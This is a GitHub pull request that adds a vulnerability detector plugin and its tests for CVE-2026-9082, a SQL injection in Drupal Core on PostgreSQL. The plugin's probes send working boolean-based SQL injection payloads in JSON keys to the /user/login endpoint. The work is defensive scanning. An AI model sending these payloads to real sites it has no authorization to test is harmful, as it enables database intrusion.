-
Notifications
You must be signed in to change notification settings - Fork 222
feat(templated):cve-2026-9082 #873
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from 1 commit
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
7723dd8
feat(templated):cve-2026-9082
sanjaymahajan14 95546d4
Merge branch 'google:master' into feature/cve-2026-9082
sanjaymahajan14 5f6afc1
Update templated/templateddetector/plugins/cve/2026/DrupalCore_CVE_20…
sanjaymahajan14 8fe8122
Update templated/templateddetector/plugins/cve/2026/DrupalCore_CVE_20…
sanjaymahajan14 8c8310b
Update templated/templateddetector/plugins/cve/2026/DrupalCore_CVE_20…
sanjaymahajan14 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
102 changes: 102 additions & 0 deletions
102
templated/templateddetector/plugins/cve/2026/DrupalCore_CVE_2026_9082.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,102 @@ | ||
| # proto-file: proto/templated_plugin.proto | ||
| # proto-message: TemplatedPlugin | ||
|
|
||
| ############### | ||
| # PLUGIN INFO # | ||
| ############### | ||
|
|
||
| info: { | ||
| type: VULN_DETECTION | ||
| name: "DrupalCore_CVE_2026_9082" | ||
| author: "sanjaymahajan14" | ||
| version: "1.0" | ||
| } | ||
|
|
||
| finding: { | ||
| main_id: { | ||
| publisher: "GOOGLE" | ||
| value: "CVE-2026-9082" | ||
| } | ||
| severity: CRITICAL | ||
| title: "Drupal Core PostgreSQL Entity Query SQL Injection" | ||
| description: "A SQL injection vulnerability exists in Drupal Core when configured with a PostgreSQL database backend. Unauthenticated attackers can inject arbitrary SQL queries via unsanitized associative array keys in condition filters processed through endpoints such as JSON:API or user login." | ||
| recommendation: "Upgrade Drupal Core to 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10, or later." | ||
| related_id: { | ||
| publisher: "CVE" | ||
| value: "CVE-2026-9082" | ||
| } | ||
| } | ||
|
|
||
| config: {} | ||
|
|
||
| ########### | ||
| # ACTIONS # | ||
| ########### | ||
|
|
||
| actions: { | ||
| name: "fingerprint_drupal" | ||
| http_request: { | ||
| method: GET | ||
| uri: "/" | ||
| response: { | ||
| http_status: 200 | ||
| expect_all: { | ||
| conditions: [ | ||
| { body: {} contains: "<title>Welcome! | Drupal Lab</title>" } | ||
| ] | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
| actions: { | ||
| name: "probe_user_login_sqli_true" | ||
| http_request: { | ||
| method: POST | ||
| uri: "/user/login?_format=json&check=1" | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| data: "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}" | ||
| response: { | ||
| http_status: 500 | ||
| expect_any: { | ||
| conditions: [ | ||
| { body: {} contains: "unexpected error" } | ||
| ] | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
| actions: { | ||
| name: "probe_user_login_sqli_false" | ||
| http_request: { | ||
| method: POST | ||
| uri: "/user/login?_format=json&check=2" | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| data: "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=2) THEN 0 END)\":\"x\"},\"pass\":\"x\"}" | ||
| response: { | ||
| http_status: 400 | ||
| expect_all: { | ||
| conditions: [ | ||
| { body: {} contains: "unrecognized" } | ||
| ] | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
| ############# | ||
| # WORKFLOWS # | ||
| ############# | ||
|
|
||
| workflows: { | ||
| actions: [ | ||
| "fingerprint_drupal", | ||
| "probe_user_login_sqli_true", | ||
| "probe_user_login_sqli_false" | ||
| ] | ||
| } | ||
93 changes: 93 additions & 0 deletions
93
templated/templateddetector/plugins/cve/2026/DrupalCore_CVE_2026_9082_test.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,93 @@ | ||
| # proto-file: proto/templated_plugin_tests.proto | ||
| # proto-message: TemplatedPluginTests | ||
|
|
||
| config: { | ||
| tested_plugin: "DrupalCore_CVE_2026_9082" | ||
| } | ||
|
|
||
| ######## | ||
| # TESTS # | ||
| ######## | ||
|
|
||
| tests: { | ||
| name: "whenVulnerable_returnsTrue" | ||
| expect_vulnerability: true | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/" | ||
| status: 200 | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/vnd.api+json" } | ||
| ] | ||
| body_content: "<title>Welcome! | Drupal Lab</title>" | ||
|
sanjaymahajan14 marked this conversation as resolved.
Outdated
|
||
| }, | ||
| { | ||
| uri: "/user/login?_format=json&check=1" | ||
| status: 500 | ||
| headers: [ | ||
| { name: "Content-Type" value: "text/plain; charset=UTF-8" } | ||
| ] | ||
| body_content: "The website encountered an unexpected error. Try again later." | ||
| }, | ||
| { | ||
| uri: "/user/login?_format=json&check=2" | ||
| status: 400 | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| body_content: "{\"message\":\"Sorry, unrecognized username or password.\"}" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenNotVulnerable_returnsFalse" | ||
| expect_vulnerability: false | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/" | ||
| status: 200 | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/vnd.api+json" } | ||
| ] | ||
| body_content: "<title>Welcome! | Drupal Lab</title>" | ||
|
sanjaymahajan14 marked this conversation as resolved.
Outdated
|
||
| }, | ||
| { | ||
| uri: "/user/login?_format=json&check=1" | ||
| status: 400 | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| body_content: "{\"message\":\"Sorry, unrecognized username or password.\"}" | ||
| }, | ||
| { | ||
| uri: "/user/login?_format=json&check=2" | ||
| status: 400 | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| body_content: "{\"message\":\"Sorry, unrecognized username or password.\"}" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenNotDrupal_returnsFalse" | ||
| expect_vulnerability: false | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/jsonapi" | ||
| status: 404 | ||
| headers: [ | ||
| { name: "Content-Type" value: "text/html" } | ||
| ] | ||
| body_content: "<html><body>404 Not Found</body></html>" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.